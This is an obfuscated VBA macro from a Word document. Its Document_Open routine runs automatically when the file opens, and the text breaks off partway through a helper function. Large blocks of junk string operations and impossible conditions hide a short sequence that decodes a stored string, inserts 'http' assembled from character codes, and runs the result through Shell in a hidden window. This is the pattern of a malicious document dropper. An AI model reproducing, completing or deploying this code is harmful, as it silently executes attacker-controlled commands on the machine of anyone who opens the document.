Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Function fkelbskfbse() As Integer fljkeb = "328198" fbebl = 3113 - 434 fkelbskfbse = fbebl - 100 End Function Private Sub Document_Open() fbjlz = fkelbskfbse() For WCAiQ = 0 To 43 wAHD = StrReverse("AhQYazmKTMAmYIlgB") wAHD = StrReverse("UfjdrVWkKpx") wAHD = StrReverse("kSCJKPTUIOEyh") wAHD = Replace("eETiUOrfLyL", "eET", "WsVo") wAHD = StrReverse("fsOLEgKzmpzMUVUxscE") If 2460080 = 251 - 1030 Then WZQFk = Replace("yLpJOkMkJuDioloOyR", "yLp", "UBdQ") WZQFk = StrReverse("yLpJOkMkJuDioloOyR") End If wAHD = StrReverse("ajovTqhBwihlT") wAHD = StrReverse("HHATwKBzGpXvJk") wAHD = StrReverse("iVniFinWKjgizXfl") wAHD = Replace("fAEIaQdhLYkpHnauo", "fAE", "hIuQ") wAHD = StrReverse("JeXHjuyaoDgZnwXZPg") If 914079 = 123 - 5968 Then gGHdv = Replace("DoltaeVorYyRq", "Dol", "oAdvb") gGHdv = StrReverse("DoltaeVorYyRq") rKfOt = Replace("wklGwScLbh", "wkl", "rXckatj") rKfOt = StrReverse("wklGwScLbh") End If wAHD = Replace("GRCyPUfbll", "GRC", "mpDEORX") wAHD = Replace("BpqHYpYOQuTxsrE", "Bpq", "lOXMB") wAHD = Replace("fYEfRPhzBcYE", "fYEf", "LtuGLDp") wAHD = StrReverse("hMhglFXgXLZoAAABF") wAHD = Replace("CwxoSETPfHo", "Cwxo", "dOpCkJ") wAHD = StrReverse("ZRaVPcAiwhm") wAHD = Replace("iLJngfexTayQTGLOloV", "iLJn", "QcdPTz") If 617267 = 101 - 7641 Then VsTQR = Replace("JSMfotHPmyPDIwUS", "JSM", "EkJoVfV") VsTQR = StrReverse("JSMfotHPmyPDIwUS") End If wAHD = Replace("fcyLqpennbdgRxcHufF", "fcyL", "xUrlR") wAHD = StrReverse("UyqriZSgGhaitQ") wAHD = Replace("ekJvQPBXLGw", "ekJv", "BKejq") If 991289 = 53 - 2878 Then xgaUw = Replace("dKaoXSTwLtl", "dKao", "OGcUo") xgaUw = StrReverse("dKaoXSTwLtl") End If wAHD = StrReverse("somGOJzXdbUeGDIgrEY") Next WCAiQ If 1659259 = 41 - 3507 Then MAxcw = Replace("BUzotIEcbHv", "BUz", "yAFOUfO") MAxcw = StrReverse("BUzotIEcbHv") afdAl = Replace("xoXgQQHHgXohL", "xoXg", "aCMK") afdAl = StrReverse("xoXgQQHHgXohL") End If qzozUa = StrReverse("sGnDcfwsqwa") If 2929590 = 135 - 4290 Then CObTT = Replace("uijpvcMQsZHTh", "uijp", "ZFiLk") CObTT = StrReverse("uijpvcMQsZHTh") End If For nGlQZ = 0 To 182 If 525399 = 51 - 5529 Then bOrQe = Replace("dWEPHfiMTK", "dWE", "Hptmm") bOrQe = StrReverse("dWEPHfiMTK") pwrxZ = Replace("yXXTCgOBHPuneEAEdhW", "yXXT", "qCtWPq") pwrxZ = StrReverse("yXXTCgOBHPuneEAEdhW") End If Egas = StrReverse("WruLHlQERCDGayY") Egas = StrReverse("OXjsXmWDDreuIFJacAK") Egas = StrReverse("YrpCihKhVEvVb") Egas = Replace("fnFGTulUXGCUDb", "fnF", "qGPXR") If 1023309 = 164 - 4472 Then QXYzO = Replace("OFoyXyODkpfJxRbMQ", "OFoy", "wFXMfIk") QXYzO = StrReverse("OFoyXyODkpfJxRbMQ") End If Egas = StrReverse("lWALjdrxRErlA") Egas = StrReverse("clHckpiKsISvunkoKUG") Egas = StrReverse("CLRGskVgPJbHDiG") Egas = Replace("qVksszdQke", "qVks", "pnrT") Egas = Replace("pAnTkifLfSiHbTXtHZ", "pAnT", "WslHhdK") If 30307 = 5 - 165 Then nDtRK = Replace("HBKDEVkOyXkqs", "HBK", "Jrcji") nDtRK = StrReverse("HBKDEVkOyXkqs") End If Egas = StrReverse("EQpqyCnoIO") Egas = StrReverse("hUHEgLOzlKPqMv") Egas = StrReverse("VmWxMOcjjWjtXbbJ") Egas = Replace("wXobMwrbdnyAPeLF", "wXo", "OVPhU") If 1735813 = 59 - 5308 Then pkqeV = Replace("buiRyunOYTrAY", "buiR", "HUGWrZt") pkqeV = StrReverse("buiRyunOYTrAY") End If Egas = StrReverse("nCyHsAigzw") Egas = StrReverse("VnSimdKHxx") Egas = Replace("GOtFZAbzgscmiL", "GOt", "EWszW") Egas = Replace("ygEpgEJgxRT", "ygE", "wWDG") Egas = StrReverse("bqcugkglWiALLCEM") Egas = StrReverse("YSfoMAWbrycXRkiYEKq") Egas = Replace("cIkODDLyKgeWgVfp", "cIkO", "HzOH") Egas = StrReverse("AOhWeVtMfoBx") Next nGlQZ For iAQTv = 0 To 161 IkOB = Replace("RIUIqPniTOGOs", "RIU", "yaTemM") IkOB = Replace("PRswJFtxgiFDQjsEmR", "PRsw", "iEvHHwG") IkOB = StrReverse("UZgGeGIkJRgdHJaFh") IkOB = StrReverse("GRbDdPDHcaozXmpWplL") IkOB = StrReverse("WJpDzFafuWxFnIpfWx") IkOB = StrReverse("SXikSpijpR") IkOB = Replace("LWmxpHtxMQoqDbYDq", "LWmx", "HIHwHLQ") If 764496 = 10 - 5067 Then LFWyX = Replace("qqdsZVtKEcZQ", "qqds", "EGfhG") LFWyX = StrReverse("qqdsZVtKEcZQ") End If If 1249435 = 250 - 1329 Then yrbof = Replace("WTYRJKfPbHQ", "WTYR", "RThcyun") yrbof = StrReverse("WTYRJKfPbHQ") End If IkOB = Replace("HBghkETrTXgzaZDrsc", "HBg", "doStGt") IkOB = StrReverse("xXgCVyMnhIGwEtGuQ") IkOB = Replace("ooKGGfXobHpEGa", "ooKG", "ycUfWG") IkOB = Replace("tVwpxPjFoWYJ", "tVw", "glSZmu") If 2963149 = 123 - 3469 Then wRKBV = Replace("nSFoDYbzTgMoXMm", "nSFo", "XWrvcAo") wRKBV = StrReverse("nSFoDYbzTgMoXMm") End If IkOB = Replace("iRcAdsXsEWOUyppvkwI", "iRcA", "DMlP") IkOB = StrReverse("VPCEHjtGGbRngzPARXY") IkOB = StrReverse("nHAPiGsTbKGfnAw") IkOB = Replace("RasdubzegglhuZD", "Ras", "kbbq") IkOB = Replace("fbtjiMDoWRycJFzw", "fbt", "WZzbX") If 586943 = 162 - 3989 Then wdplu = Replace("mIgzWWgejRAYmzKqBlW", "mIg", "KldMr") wdplu = StrReverse("mIgzWWgejRAYmzKqBlW") DGPGu = Replace("SqqjxoqpSxWEAT", "Sqq", "TxXly") DGPGu = StrReverse("SqqjxoqpSxWEAT") End If IkOB = StrReverse("DwgHKsQqAzH") If 3598565 = 249 - 704 Then tTTpB = Replace("nReJDVQBJDLBO", "nRe", "rGDy") tTTpB = StrReverse("nReJDVQBJDLBO") End If IkOB = StrReverse("SrwdflxylWD") If 347625 = 65 - 278 Then pwFvU = Replace("BWvFciDxumEazEu", "BWvF", "nIrhKT") pwFvU = StrReverse("BWvFciDxumEazEu") End If IkOB = StrReverse("hSPPtfXcLUHGGJeZjn") Next iAQTv For YkZlU = 0 To 202 Uhyf = Replace("jHEBLejYAma", "jHE", "wsduZ") Uhyf = StrReverse("JYDmodVkHqxb") Uhyf = StrReverse("klVLtHaLbpcC") Uhyf = Replace("roIVhIbfirBDIJqAQlA", "roI", "paCXRrs") Uhyf = StrReverse("OwVmUcKPCmUQy") If 3118620 = 29 - 6146 Then mJIRA = Replace("qjdGRoVbfJtGErZaR", "qjd", "vdryp") mJIRA = StrReverse("qjdGRoVbfJtGErZaR") jmcYU = Replace("pkcuCLejWmGwFlwB", "pkcu", "XpKOKo") jmcYU = StrReverse("pkcuCLejWmGwFlwB") End If If 3291227 = 250 - 3079 Then OlskL = Replace("QVLehZYlQOlRoP", "QVL", "KZQOrZZ") OlskL = StrReverse("QVLehZYlQOlRoP") wYiqU = Replace("RUHQHotoxaCWwyk", "RUHQ", "HijFw") wYiqU = StrReverse("RUHQHotoxaCWwyk") End If Uhyf = StrReverse("ZsDnlJTPafR") Uhyf = StrReverse("YHaDdKBTnzbSbvbXYQr") Uhyf = Replace("EgvffLGqDYLdVQQxkd", "Egv", "LXhZm") Uhyf = Replace("QvLSanxEXAtBYVRR", "QvLS", "IOGsuVi") Uhyf = StrReverse("krYZdCmXklkrvXf") If 137605 = 172 - 2706 Then thDwt = Replace("LeLnzjsYDyYOekHHZvI", "LeL", "cHBwEiW") thDwt = StrReverse("LeLnzjsYDyYOekHHZvI") End If Uhyf = Replace("WUdSvdnIIRHiTZEGkWH", "WUdS", "VwBgPJX") Uhyf = StrReverse("SaOsgYIlgfHrt") Uhyf = Replace("EtZieGtQocQecQeXdds", "EtZi", "bkMc") Uhyf = StrReverse("DBYObEltAXRmtlztL") If 3011607 = 248 - 3311 Then KYafT = Replace("vciMwizktBWwSdqdnG", "vciM", "wIwmgc") KYafT = StrReverse("vciMwizktBWwSdqdnG") End If Uhyf = StrReverse("zjtakPZAqJQVQJtlA") Uhyf = Replace("STwprUFjXZ", "STw", "mDkOLu") If 922844 = 111 - 6550 Then MhMMR = Replace("BczXDTufngqE", "BczX", "DZzLTDC") MhMMR = StrReverse("BczXDTufngqE") RYBbs = Replace("WkUtkqxwrwbFwIPwK", "WkUt", "BplCQhU") RYBbs = StrReverse("WkUtkqxwrwbFwIPwK") End If Uhyf = Replace("VHhHRkQIneoKdp", "VHhH", "EvgJdbe") Uhyf = StrReverse("gViUSAZgXnygOfE") Uhyf = Replace("uqdWAFPAXOkegkwD", "uqdW", "xEIXk") Uhyf = StrReverse("puSybzfiLhKEavd") Next YkZlU AbblUs = StrReverse("atgAEzjlKFGJYrrxab") If 1492917 = 108 - 6090 Then LxauV = Replace("EkBSutWBaYiTed", "EkBS", "onIeA") LxauV = StrReverse("EkBSutWBaYiTed") End If If 3059391 = 120 - 746 Then bSxEQ = Replace("eAQhUQMkIyTJevxzFu", "eAQh", "nuiPMCT") bSxEQ = StrReverse("eAQhUQMkIyTJevxzFu") MHied = Replace("zdwRGeHEKqUyzE", "zdwR", "akTogWe") MHied = StrReverse("zdwRGeHEKqUyzE") End If For wzjEv = 0 To 376 VDpn = StrReverse("YqmcasdcaIejPuU") VDpn = StrReverse("qtshIPRYJxdW") VDpn = StrReverse("gdCliJGXuhniicWUyX") VDpn = Replace("fhPzAgLfpA", "fhP", "vnffLJ") If 1485555 = 166 - 1623 Then YITmY = Replace("LVqzygpGVWjB", "LVqz", "jfjshL") YITmY = StrReverse("LVqzygpGVWjB") XTKTY = Replace("UhMcomQgsjGGlSVXg", "UhM", "wbshdcI") XTKTY = StrReverse("UhMcomQgsjGGlSVXg") End If VDpn = StrReverse("DSdxSJLLKslSwL") VDpn = StrReverse("vPmcDCrxTdTdaXSQywR") VDpn = StrReverse("YIWPxajojbysnMjULmz") VDpn = StrReverse("opeuVEHUqQHhC") VDpn = StrReverse("wyhbBqGHHKDJSPPD") VDpn = StrReverse("PheoAKZFbtpaAavP") VDpn = Replace("BWIfvbsbhPJHpJdYU", "BWI", "OiuXnJ") VDpn = Replace("JeahUiClcvdhwgCA", "Jea", "bmsmi") VDpn = StrReverse("IoBtArlLPQY") VDpn = Replace("sFemODsXIIWuMsfTkA", "sFe", "RzHVn") VDpn = Replace("EYHWtPHaBYwhRt", "EYHW", "abGXS") VDpn = StrReverse("wgcZBYBrhUPnIFBsHv") VDpn = StrReverse("XIMqVOVMTBZPpxLguvM") VDpn = Replace("BCkwFaSlnXvdVHTK", "BCkw", "axnP") VDpn = Replace("YLFBFGcKaDcFYu", "YLFB", "scIi") VDpn = Replace("rzkHFnhCxmOKx", "rzkH", "qmTyA") VDpn = Replace("XIOZKjhQLaK", "XIOZ", "OXzzvb") VDpn = StrReverse("HpGnoXSGGEDn") If 3364532 = 212 - 4028 Then yyxYE = Replace("spWwvsxUOqfUCUOS", "spW", "jgtL") yyxYE = StrReverse("spWwvsxUOqfUCUOS") End If VDpn = Replace("yBtXIqDruqotscccXh", "yBt", "gjku") Next wzjEv For YvTVH = 0 To 184 SnEz = StrReverse("fwGbYOvrTSJc") SnEz = Replace("ahunzPKoWcsyM", "ahun", "rMhE") If 828310 = 155 - 7938 Then DDpFX = Replace("avzQECUSVWUP", "avzQ", "kiVdxgP") DDpFX = StrReverse("avzQECUSVWUP") pkDnm = Replace("LUOsFCyGtaxozrXinGC", "LUO", "hFTBjp") pkDnm = StrReverse("LUOsFCyGtaxozrXinGC") End If SnEz = Replace("uEkryuJZLvQHgcoWWto", "uEkr", "YflW") SnEz = Replace("qHZsJdVExWgnofMuWHm", "qHZ", "cTxd") If 1640413 = 176 - 898 Then fdScX = Replace("lfGvhTJqhfwzTAbgXbG", "lfG", "onHvG") fdScX = StrReverse("lfGvhTJqhfwzTAbgXbG") WxbzH = Replace("auGIDyMtkGVzZq", "auGI", "STCjWOf") WxbzH = StrReverse("auGIDyMtkGVzZq") End If If 2058796 = 22 - 3998 Then uLWjM = Replace("hXAVwitxRdDgfDCZI", "hXAV", "qamx") uLWjM = StrReverse("hXAVwitxRdDgfDCZI") QUbej = Replace("QylrOPspLpGgBMd", "Qyl", "MLCU") QUbej = StrReverse("QylrOPspLpGgBMd") End If If 2808523 = 130 - 6530 Then zaqwz = Replace("vKptKTPzYWflqD", "vKp", "XFRkd") zaqwz = StrReverse("vKptKTPzYWflqD") End If SnEz = Replace("EkwTCEbadxLgvdq", "EkwT", "FZIhF") SnEz = StrReverse("rPLFUApKzPPc") SnEz = StrReverse("bzDunDfUzhm") SnEz = StrReverse("JXaGGpKtUkDeVxu") SnEz = Replace("mVpoiLVuYMwZfooSrVO", "mVp", "blGennD") SnEz = StrReverse("ACXKALRoDorTM") SnEz = Replace("QZnQQnvzvjDSQk", "QZn", "kQxUUcz") SnEz = Replace("mdYnAvTRonheVmqa", "mdYn", "Fwwoql") SnEz = Replace("bwPCBCoMtzFcaUWlA", "bwPC", "oiBnOkQ") SnEz = Replace("EuIcwmHEIiuFfzMU", "EuIc", "coRnQRr") SnEz = Replace("MlQfIbidpXAHJJEH", "MlQf", "HtKFmXF") SnEz = Replace("wfqFmbVydqKSMpU", "wfqF", "CgeIDnW") SnEz = Replace("xCHklntQdtOqu", "xCHk", "hdAncCj") SnEz = Replace("pjgTvqPnKc", "pjg", "qFXtS") SnEz = Replace("sXeprwyUPiKZosGuyyg", "sXep", "EHBPvRH") SnEz = Replace("HDfkScABMeUbkVABSX", "HDfk", "iLPL") SnEz = Replace("KUpZOtEefvqqqQnoqt", "KUp", "RZhODbK") Next YvTVH For uAzws = 0 To 119 Hrxh = Replace("veiuCBuvHLKS", "veiu", "wtxjZp") Hrxh = StrReverse("QxzWRCqFwCZCEqkxDTA") Hrxh = StrReverse("VWOCvkJgrHdcnhZZt") Hrxh = Replace("rjPlPEgrnpMu", "rjP", "uKlGe") Hrxh = Replace("ZqTzYOrYdsiFWz", "ZqT", "weTnEp") Hrxh = StrReverse("nDVJvhUMelwLa") Hrxh = Replace("kcnGGTgrELhhSAx", "kcnG", "DmOOHG") If 994677 = 41 - 1470 Then DlWts = Replace("yMWVhmqEpkXteviptTU", "yMWV", "FcEezZZ") DlWts = StrReverse("yMWVhmqEpkXteviptTU") End If Hrxh = Replace("ZmUFVUppqLcTdfsgOAK", "ZmUF", "ZJKAJ") Hrxh = StrReverse("kJJkjtJELEGoTM") Hrxh = StrReverse("niJjOourRAbOl") Hrxh = StrReverse("MpccQzpuRFcucqSucv") Hrxh = StrReverse("cDAqBzSPABlT") Hrxh = StrReverse("FsGRnlviRBeZtmoT") Hrxh = Replace("KLmLoRkIsBcQFDBTv", "KLm", "bepPWB") Hrxh = Replace("SldBgabkfHkS", "Sld", "KqPhXXq") Hrxh = Replace("CdLpauDPfqtMULjlydq", "CdLp", "cyICReB") Hrxh = Replace("dIsztGeDMnVTJ", "dIs", "BMgX") Hrxh = StrReverse("cLWMazcFCZM") If 2261852 = 251 - 2773 Then ChEII = Replace("QsoutPOomSgIdUkxDtq", "Qsou", "HKKLw") ChEII = StrReverse("QsoutPOomSgIdUkxDtq") End If Hrxh = StrReverse("pIULroJaEbE") Hrxh = StrReverse("LfElezHjCpz") Hrxh = StrReverse("ERowJAyPfVBHhmDg") Hrxh = Replace("epdITxAVqDyiDbVy", "epd", "eUVLu") If 961999 = 60 - 1449 Then rlfpv = Replace("BcqGVhxMYlqfGFWo", "BcqG", "GCidckx") rlfpv = StrReverse("BcqGVhxMYlqfGFWo") End If Next uAzws While cHdj < 3228 If cHdj = 38 Then GEQF = Replace("WaKylttnak", "WaK", "iGCqv") ElseIf cHdj = 2787 Then GEQF = Replace("hzDuxZHqqG", "hzD", "FJkbk") ElseIf cHdj = 203 Then GEQF = Replace("DjOgwdGgrd", "DjO", "Heikv") ElseIf cHdj = 1231 Then GEQF = Replace("nfqOnOFptQ", "nfq", "uaDsB") ElseIf cHdj = 3113 Then lkfJ = Replace(sHjf, iSF, Chr(104) + Chr(116) + Chr(116) + Chr(112)) ElseIf cHdj = 1138 Then GEQF = Replace("gpqdmsULKP", "gpq", "UwVoz") ElseIf cHdj = 480 Then GEQF = Replace("QZRahVyPDg", "QZR", "lYPIy") ElseIf cHdj = 2154 Then GEQF = Replace("IoBdhIQcCK", "IoB", "dGyBd") ElseIf cHdj = 1694 Then GEQF = Replace("OQhhOKGVkI", "OQh", "MOlYH") ElseIf cHdj = 1873 Then GEQF = Replace("SOHbqeuEoT", "SOH", "nvEJF") ElseIf cHdj = 2067 Then GEQF = Replace("xvuwVYMTUU", "xvu", "VhLLV") ElseIf cHdj = 1275 Then GEQF = Replace("zcjiTtonFi", "zcj", "bzxOs") ElseIf cHdj = 1846 Then GEQF = Replace("ngREcszDBL", "ngR", "RBxpz") ElseIf cHdj = 1476 Then GEQF = Replace("skROfBswEa", "skR", "RFvaM") ElseIf cHdj = 2629 Then GEQF = Replace("bGKxjeBboP", "bGK", "lkjRj") ElseIf cHdj = 3178 Then nVBj = Replace(lkfJ, Uxcu, Chr(44 + 2)) ElseIf cHdj = 83 Then GEQF = Replace("HROfuXgzab", "HRO", "ipJZt") ElseIf cHdj = 1354 Then GEQF = Replace("SRTIUxjWoH", "SRT", "GAkRV") ElseIf cHdj = 3020 Then sHjf = Split(Replace(tFf, "SEcvR", "qLJ"), Chr(122 + 2))(3 - 1) ElseIf cHdj = 2404 Then GEQF = Replace("SOSqPBoFtu", "SOS", "heTpI") ElseIf cHdj = 2960 Then GEQF = Replace("weuQimgpUK", "weu", "aKqCi") ElseIf cHdj = 441 Then GEQF = Replace("tXbimsPEsf", "tXb", "WYnpa") ElseIf cHdj = 1512 Then GEQF = Replace("sDXkgbjcxZ", "sDX", "butzO") ElseIf cHdj = 1982 Then GEQF = Replace("qsoeWgxgvQ", "qso", "VWGDK") ElseIf cHdj = 3073 Then iSF = Split(Replace(tFf, "cPVty", "uVl"), Chr(123 + 1))(3 - 2) ElseIf cHdj = 556 Then GEQF = Replace("FSBaETusBO", "FSB", "vHXBB") ElseIf cHdj = 508 Then GEQF = Replace("EbFyKbsEVd", "EbF", "Bntpg") ElseIf cHdj = 1261 Then GEQF = Replace("uWMyAsheFx", "uWM", "SLFZY") ElseIf cHdj = 2306 Then GEQF = Replace("OBaVUEaAFh", "OBa", "iTrlr") ElseIf cHdj = 1078 Then GEQF = Replace("lYQnrvwYhF", "lYQ", "ZfBsv") ElseIf cHdj = 800 Then GEQF = Replace("yzvWgqiAbi", "yzv", "xKtPR") ElseIf cHdj = 934 Then GEQF = Replace("qBPVhKnjDY", "qBP", "lVclL") ElseIf cHdj = 232 Then GEQF = Replace("PLVtXjLYvy", "PLV", "OkkFJ") ElseIf cHdj = 909 Then GEQF = Replace("LOFRgBScod", "LOF", "qFKlo") ElseIf cHdj = 268 Then GEQF = Replace("qPQdrQtohD", "qPQ", "xTmHW") ElseIf cHdj = 1757 Then GEQF = Replace("VaIPcnbVdY", "VaI", "HUOgG") ElseIf cHdj = 1452 Then GEQF = Replace("BARVQTrWaI", "BAR", "GiHRZ") ElseIf cHdj = 722 Then GEQF = Replace("iEZXbTXpDf", "iEZ", "JiEkP") ElseIf cHdj = 1015 Then GEQF = Replace("rylybZXFuh", "ryl", "hYHsp") ElseIf cHdj = 2972 Then tFf = Replace(StrReverse(tSZaxljaCD(1)), "XvdLe", "zTc") ElseIf cHdj = 2726 Then GEQF = Replace("iAgJowFdUx", "iAg", "EhXhY") ElseIf cHdj = 3085 Then Uxcu = Split(Replace(tFf, "AcPYV", "ECA"), Chr(121 + 3))(0) ElseIf cHdj = 2530 Then GEQF = Replace("GkZqWKtWvk", "GkZ", "Zvhan") ElseIf cHdj = 744 Then GEQF = Replace("TVDUIBrzPm", "TVD", "ncWai") ElseIf cHdj = 3203 Then Shell (StrReverse(StrReverse(nVBj))), 0 ElseIf cHdj = 2485 Then GEQF = Replace("xDSRxcgeiZ", "xDS", "fTnZk") ElseIf cHdj = 164 Then GEQF = Replace("DzelevaWQR", "Dze", "pbkXD") ElseIf cHdj = 2000 Then GEQF = Replace("lefdGuMmqc", "lef", "sbdmp") ElseIf cHdj = 625 Then GEQF = Replace("VzwtbuSpfz", "Vzw", "XVvwf") ElseIf cHdj = 1633 Then GEQF = Replace("GzxrKqAhKq", "Gzx", "IhlQW") ElseIf cHdj = 1525 Then GEQF = Replace("QbFPQWkXlU", "QbF", "JDLuy") ElseIf cHdj = 1660 Then GEQF = Replace("XXhyLgyfjK", "XXh", "ECUQF") ElseIf cHdj = 1587 Then GEQF = Replace("MvvORCLYly", "Mvv", "JIUpD") ElseIf cHdj = 2892 Then GEQF = Replace("bJELCZPYmq", "bJE", "WdrAf") ElseIf cHdj = 348 Then GEQF = Replace("RsmVBdFrAV", "Rsm", "sKTij") ElseIf cHdj = 2227 Then GEQF = Replace("EUtFSabJin", "EUt", "ZKLJl") ElseIf cHdj = 123 Then GEQF = Replace("nFAWzSzngv", "nFA", "zHUeh") End If cHdj = cHdj + 1 Wend For JrMtf = 0 To 285 OIam = StrReverse("mDkkEmDVdbfPSwOIv") If 765184 = 173 - 7534 Then QACFy = Replace("MASJDHZdrFnO", "MASJ", "tabhm") QACFy = StrReverse("MASJDHZdrFnO") MMEBD = Replace("RKACwAwHrSFSdqztwXV", "RKA", "eApmTg") MMEBD = StrReverse("RKACwAwHrSFSdqztwXV") End If OIam = StrReverse("AgWbugeJRZjLJwrM") If 585075 = 48 - 2372 Then IPWvi = Replace("eEgwvQXoElbnAb", "eEgw", "RstLyU") IPWvi = StrReverse("eEgwvQXoElbnAb") YRrgc = Replace("xpKtvWhkLTT", "xpKt", "cytmP") YRrgc = StrReverse("xpKtvWhkLTT") End If OIam = StrReverse("vRtFFbeJcQG") OIam = StrReverse("XzHVybWWpnkkLyH") If 3449355 = 84 - 4142 Then JSxap = Replace("GVeWTBjoOHRTUeK", "GVe", "dAZQj") JSxap = StrReverse("GVeWTBjoOHRTUeK") enCZv = Replace("XzIAZOviiYLMgZPq", "XzIA", "AzLis") enCZv = StrReverse("XzIAZOviiYLMgZPq") End If OIam = StrReverse("PckZOcjAPJudh") OIam = StrReverse("tWZhFjLsmKUrtm") OIam = Replace("ySijKWzEUGJTIbj", "ySij", "SDnW") OIam = Replace("dktJCzxroSRTOVrUq", "dkt", "spdo") OIam = StrReverse("rparKUMyDOSlEuOD") OIam = StrReverse("eGJLgpAfQzCkgr") OIam = Replace("skkPZxGmUxDFFQtinS", "skk", "wiff") OIam = StrReverse("vBbFetXcXbuSw") OIam = Replace("iRxlQBPTdnlre", "iRx", "GHDYP") OIam = Replace("VpvcaqHZfyTii", "Vpv", "JWvx") If 1315609 = 102 - 7934 Then pvhdh = Replace("DfUsmmnpKf", "DfU", "PPSWSW") pvhdh = StrReverse("DfUsmmnpKf") aEwQi = Replace("BplyzaDQrymuEikBzgV", "Bpl", "FifemI") aEwQi = StrReverse("BplyzaDQrymuEikBzgV") End If OIam = StrReverse("vKghfQXlBFsEZCu") OIam = StrReverse("IVQoZHlntAZDPHAGiDf") OIam = StrReverse("jtQPQmRTxnQATv") OIam = Replace("gYefSWqepJzslVS", "gYef", "jwZozZ") OIam = StrReverse("toTWtKoGHXO") OIam = StrReverse("JJbKMZekpyP") OIam = Replace("tZxhDxniPViIMTAc", "tZxh", "ZcmhXU") Next JrMtf End Sub Public Function tSZaxljaCD(BOsAI) As String For sBjQE = 0 To 85 xOJF = Replace("GPRHjmrihftL", "GPR", "JkDp") xOJF = StrReverse("pzIAmmSIVKXcZfsz") xOJF = StrReverse("gPGXHBpuCsX") If 2126867 = 30 - 675 Then fnqDP = Replace("YqywcbboMbLVS", "Yqy", "OIJl") fnqDP = StrReverse("YqywcbboMbLVS") wxian = Replace("RzizdaVOehTfZGrFgD", "Rzi", "rgvGP") wxian = StrReverse("RzizdaVOehTfZGrFgD") End If xOJF = Replace("BFXYqRMHdG", "BFXY", "qLOb") xOJF = Replace("zTFKxdYixzBP", "zTFK", "aYcZUR") xOJF = StrReverse("UyHJAeohSe") xOJF = StrReverse("xGiuTXgldhuAulr") xOJF = Replace("pIehQlrAAcFKSBhAj", "pIeh", "FRCBpD") If 2149954 = 221 - 1918 Then iVbDh = Replace("qWEnDgKEBjCV", "qWE", "hGYluc") iVbDh = StrReverse("qWEnDgKEBjCV") fpfRk = Replace("SWXHTCouUuh", "SWX", "XsKxC") fpfRk = StrReverse("SWXHTCouUuh") End If xOJF = Replace("ifckStaHJAcsBqnbVE", "ifck", "TcXoW") xOJF = Replace("pEykqtuHmfSeJpGh", "pEy", "DEwwO") xOJF = StrReverse("zqKfahPBrOyavOci") xOJF = Replace("IPIvRJGqWupWpuFzy", "IPIv", "rvCqg") xOJF = StrReverse("FDIlGmMTdgpyClo") If 1958377 = 198 - 6462 Then awaqs = Replace("uTWdfPmnHOrBQmvc", "uTWd", "msgeFPc") awaqs = StrReverse("uTWdfPmnHOrBQmvc") wSYzq = Replace("POmQimXPHHifTDT", "POm", "rSXjly") wSYzq = StrReverse("POmQimXPHHifTDT") End If xOJF = StrReverse("ZLikvRTpOioqctLkW") xOJF = Replace("RwmeLRDwHWGRv", "Rwm", "iEkECff") xOJF = StrReverse("wmBMRcInPylhFo") xOJF = Replace("RWpGdsAXoRqVoH", "RWp", "gCPiM") xOJF = Replace("sLmxIVthizKshJJB", "sLm", "wTpDQS") If 590229 = 115 - 5033 Then UmowF = Replace("zAWXOFsPMrfLZnlpq", "zAW", "lLgcson") UmowF = StrReverse("zAWXOFsPMrfLZnlpq") ifKUc = Replace("YJheqiaaXcZ", "YJh", "CtMqu") ifKUc = StrReverse("YJheqiaaXcZ") End If xOJF = StrReverse("eDKAmLPadr") xOJF = Replace("xGEfBJADUpbJ", "xGE", "RRhy") xOJF = StrReverse("zJUPGEvGKEaaX") Next sBjQE For rXccG = 0 To 390 If 3159483 = 207 - 2522 Then SZYlP = Replace("nMCQAGVcWL", "nMC", "JekIqDa") SZYlP = StrReverse("nMCQAGVcWL") End If TLxR = Replace("oLSrBiAiZS", "oLSr", "JufmKt") TLxR = Replace("SZjKMksmjaqVBq", "SZj", "JEZGvFE") TLxR = StrReverse("YMZxKnzcTHnbRaUAyTi") TLxR = Replace("uAqRIUMumHUm", "uAq", "ndiIcJ") TLxR = Replace("TutaaILgmZ", "Tut", "ijGP") TLxR = Replace("JPQosSTBPKMUXcq", "JPQo", "bWyCi") If 3622078 = 195 - 6944 Then nFTbo = Replace("heDeiXKXEAZ", "heD", "GRKeFsk") nFTbo = StrReverse("heDeiXKXEAZ") rXVzf = Replace("YlKaDHQqfEoC", "YlK", "kPsSrxk") rXVzf = StrReverse("YlKaDHQqfEoC") End If If 3895697 = 160 - 3050 Then umwib = Replace("TwToGttOikjGEyK", "TwT", "RGYym") umwib = StrReverse("TwToGttOikjGEyK") End If TLxR = Replace("qXahJHYWaiQOjlsUy", "qXa", "IGsiZ") TLxR = StrReverse("jnGzAdLTQv") TLxR = Replace("IhrsOdHsRbtpkKZOQg", "Ihr", "dFiyd") TLxR = StrReverse("IPiKYfwostt") If 3400051 = 32 - 5617 Then AOgpC = Replace("SObTUSzyxPdybslwCd", "SObT", "qfiSRn") AOgpC = StrReverse("SObTUSzyxPdybslwCd") End If TLxR = StrReverse("soPoBMMqdim") TLxR = StrReverse("OjgGZkhahggJvOB") If 2400560 = 243 - 306 Then TOFti = Replace("cIwcGTHQCvnsHRk", "cIw", "HPSUOKt") TOFti = StrReverse("cIwcGTHQCvnsHRk") End If TLxR = Replace("mCaTvzfZmT", "mCa", "RgAhK") TLxR = StrReverse("zXlweauivW") TLxR = Replace("ghsGQASxkqCWnvFLk", "ghsG", "loSXL") TLxR = StrReverse("DYKtRymefR") TLxR = Replace("vCgGmtQjzaECHM", "vCgG", "nCnr") TLxR = StrReverse("oicHOJMsOwRvhpqWKfM") TLxR = StrReverse("sOFOZlYerbKZvdyAf") If 1620567 = 200 - 4914 Then UlDsl = Replace("XKxGyzIVxQwBWJZP", "XKx", "ZEIBl") UlDsl = StrReverse("XKxGyzIVxQwBWJZP") End If Next rXccG grK = grK & StrReverse(StrReverse("NdmgpUYZjdJTNMtsIpXXKxefqgzcdzMw{zIGXdvJfKpshuiZKPxnWStWjIHkcBjYVqLvkDFEcsoCSLnxPbdKWgmL")) mGUfO = Replace("JfKUDpSRqHZpcR", "JfKU", "bOlBCbJ") For TtYCq = 0 To 58 If 2871576 = 16 - 1661 Then XByOq = Replace("sVeoyGfrBqteZdYy", "sVeo", "oCpvm") XByOq = StrReverse("sVeoyGfrBqteZdYy") End If xXCZ = StrReverse("ZJVtCQpXmD") 